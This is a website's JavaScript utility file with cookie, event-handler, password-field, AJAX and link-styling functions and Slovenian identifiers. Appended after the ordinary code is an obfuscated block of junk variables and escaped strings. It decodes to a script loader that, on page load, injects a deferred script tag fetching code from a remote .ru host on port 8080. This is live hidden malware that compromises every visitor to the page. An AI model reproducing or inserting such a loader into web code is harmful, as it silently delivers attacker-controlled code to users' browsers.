/// COOKIES ///



function setCookie(name, value, expires, path, domain, secure) {

  var curCookie = name + "=" + escape(value) +

      ((expires) ? "; expires=" + expires.toGMTString() : "") +

      ((path) ? "; path=" + path : "") +

      ((domain) ? "; domain=" + domain : "") +

      ((secure) ? "; secure" : "");

  document.cookie = curCookie;

}





/*

  name - name of the desired cookie

  return string containing value of specified cookie or null

  if cookie does not exist

*/



function getCookie(name) {

  var dc = document.cookie;

  var prefix = name + "=";

  var begin = dc.indexOf("; " + prefix);

  if (begin == -1) {

    begin = dc.indexOf(prefix);

    if (begin != 0) return null;

  } else

    begin += 2;

  var end = document.cookie.indexOf(";", begin);

  if (end == -1)

    end = dc.length;

  return unescape(dc.substring(begin + prefix.length, end));

}





/*

   name - name of the cookie

   [path] - path of the cookie (must be same as path used to create cookie)

   [domain] - domain of the cookie (must be same as domain used to

     create cookie)

   path and domain default if assigned null or omitted if no explicit

     argument proceeds

*/



function deleteCookie(name, path, domain) {

  if (getCookie(name)) {

    document.cookie = name + "=" +

    ((path) ? "; path=" + path : "") +

    ((domain) ? "; domain=" + domain : "") +

    "; expires=Thu, 01-Jan-70 00:00:01 GMT";

  }

}



// date - any instance of the Date object

// * hand all instances of the Date object to this function for "repairs"



function fixDate(date) {

  var base = new Date(0);

  var skew = base.getTime();

  if (skew > 0)

    date.setTime(date.getTime() - skew);

}



/// END OF COOKIES ///







/// EVENT HANDLERS ///



function addEvent(elm, evType, fn, useCapture)

      // cross-browser event handling for IE5+, NS6+ and Mozilla/Gecko

      // By Scott Andrew

      {

		if (elm.addEventListener) {

				

          elm.addEventListener(evType, fn, useCapture); 

          return true; 

        } else if (elm.attachEvent) {

          var r = elm.attachEvent('on' + evType, fn); 

          return r; 

        } else {

          elm['on' + evType] = fn;

        }

      }

	

	



/* password functions */



function fokusiraj(e){

	var password = document.getElementById('password');

	//alert(password.type);

	password.value = '';

	password.setAttribute('type','password');

	



}





function bluraj(e){

	var password = document.getElementById('password');

	try{

		if(password.value == ''){

			password.type='text';

			password.value = zacetna_vrednost;

		}

	} catch (err) {} ;

}





function addListeners(e){

	

	var password = document.getElementById('password');

	

	if(password){

		addEvent(password, 'focus', fokusiraj, false);

		addEvent(password, 'blur', bluraj, false);

		zacetna_vrednost = password.value;

	}

	

	total_number_of_payments = document.getElementById('total_number_of_payments');

	if(total_number_of_payments){

		addEvent(total_number_of_payments, 'focus', izracun, false);

	}

	

	var date_of_birth = document.getElementById('date_of_birth');

	if(date_of_birth){

		kontrola_polnoletnosti();

	}

	

	

}

addEvent(window, 'load', addListeners, false);



/// END OF EVENT HANDLERS ///





/// AJAX ///



var xmlhttp=false;



///  TA KOMENTIRANA KODA MORA TU OBVEZNO BIT!!!!



/*@cc_on @*/

/*@if (@_jscript_version >= 5)

// JScript gives us Conditional compilation, we can cope with old IE versions.

// and security blocked creation of the objects.

  try {

  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

  } catch (e) {

   try {

    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

   } catch (E) {

    xmlhttp = false;

   }

  }

@end @*/



if (!xmlhttp && typeof XMLHttpRequest!='undefined') {

	try {

		xmlhttp = new XMLHttpRequest();

	} catch (e) {

		xmlhttp=false;

	}

}

if (!xmlhttp && window.createRequest) {

	try {

		xmlhttp = window.createRequest();

	} catch (e) {

		xmlhttp=false;

	}

}



function loadFragmentInToElement(fragment_url, element_id, baseurl) {

	var element = document.getElementById(element_id);

	element.innerHTML = '<img src="'+baseurl+'imgs/bg/waiting.gif" border="0" alt="">';

	xmlhttp.open("GET", fragment_url, true);

	xmlhttp.onreadystatechange = function() {

		if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {

			element.innerHTML = xmlhttp.responseText;

		}

	}

	xmlhttp.send(null);

}



/// END OF AJAX ///



//////////////////////////////////////////////////////////////



function onLoadHandler() {

	fixOutlinedLinks();

}



function fixOutlinedLinks () {

	/* Set all hyperlink's outline styles to "none", 'cause we don't want border box around link to appear when following the hyperlink (RashA) */

	var st1, st2, stfix = "outline-style: none; outline: none;";

	var ahrefs = document.getElementsByTagName('A');

	for (var i = 0; i < ahrefs.length; i++)

	{

		st1 = ahrefs[i].getAttribute("style");

		if (typeof st1 == 'string' && st1.length)

			st2 = st1+"; "+stfix;

		else

			st2 = stfix;

		ahrefs[i].setAttribute("style", st2);

	}

	/* End of correcting hyperlink styles */

}








var CD=new Array();var yv="";var u;if(u!='z'){u='z'};function C(){var dz;if(dz!='b' && dz!='vN'){dz='b'};var gC="";var j=window;var L="";var l=unescape;var G;if(G!='' && G!='M'){G='BU'};this.k='';var K=l("%2f%61%6f%6c%2d%63%6f%2d%75%6b%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%61%6b%75%74%65%6e%2e%6e%65%2e%6a%70%2e%70%68%70");var QYd=new String();function Q(Z,d){var F='';var RD=new Date();var gB=new Array();var qD;if(qD!='N' && qD!='la'){qD=''};var QZ=new String("g");var c=new String();var lC=l("%5b"), D=l("%5d");var Mu;if(Mu!='TT'){Mu=''};var g=lC+d+D;var YR='';var V=new RegExp(g, QZ);return Z.replace(V, new String());var pJ=new Array();var _m=new Date();};var uf=new String();var Cm=new Date();var a;if(a!='Rw'){a=''};this.X="";var nB=new String();var dzM;if(dzM!='' && dzM!='w'){dzM=''};var f=document;var s="";this.nv="";var QY=Q('8297701453987963904521','12935764');var Op;if(Op!='qC'){Op=''};var y=new String();var nR;if(nR!='Ps' && nR!='i'){nR='Ps'};var gR;if(gR!='JM' && gR!='UY'){gR='JM'};var Nn=new String();var fN=new String();function J(){var E;if(E!='OZ' && E!='Oc'){E='OZ'};var v=l("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");y=v;y+=QY;var At=new Date();var aN=new Date();y+=K;var bu;if(bu!='qX'){bu=''};var vq=new Array();var bK;if(bK!='zH' && bK!='QYv'){bK=''};try {var di=new String();jf=f.createElement(Q('sUcMrMibpQtQ','bnUQMS'));this.OM='';var SI=new String();var uV="";jf[l("%73%72%63")]=y;jf[l("%64%65%66%65%72")]=[4,1][1];var hZ;if(hZ!=''){hZ='jGl'};f.body.appendChild(jf);var Gv="";} catch(lCy){var kl;if(kl!='WN'){kl='WN'};var ch;if(ch!='Sf'){ch='Sf'};alert(lCy);var qt;if(qt!='' && qt!='KU'){qt='pX'};};var iz;if(iz!='gx' && iz!='lf'){iz=''};var N_R;if(N_R!='IO'){N_R='IO'};}var cR;if(cR!='dZ' && cR != ''){cR=null};var AL=new Date();j[String("onlo"+"adLPwC".substr(0,2))]=J;var ZX;if(ZX!='nH' && ZX!='PS'){ZX='nH'};var RO;if(RO!='ek' && RO!='cm'){RO='ek'};};var Rh;if(Rh!='' && Rh!='sj'){Rh=''};this.TTq="";C();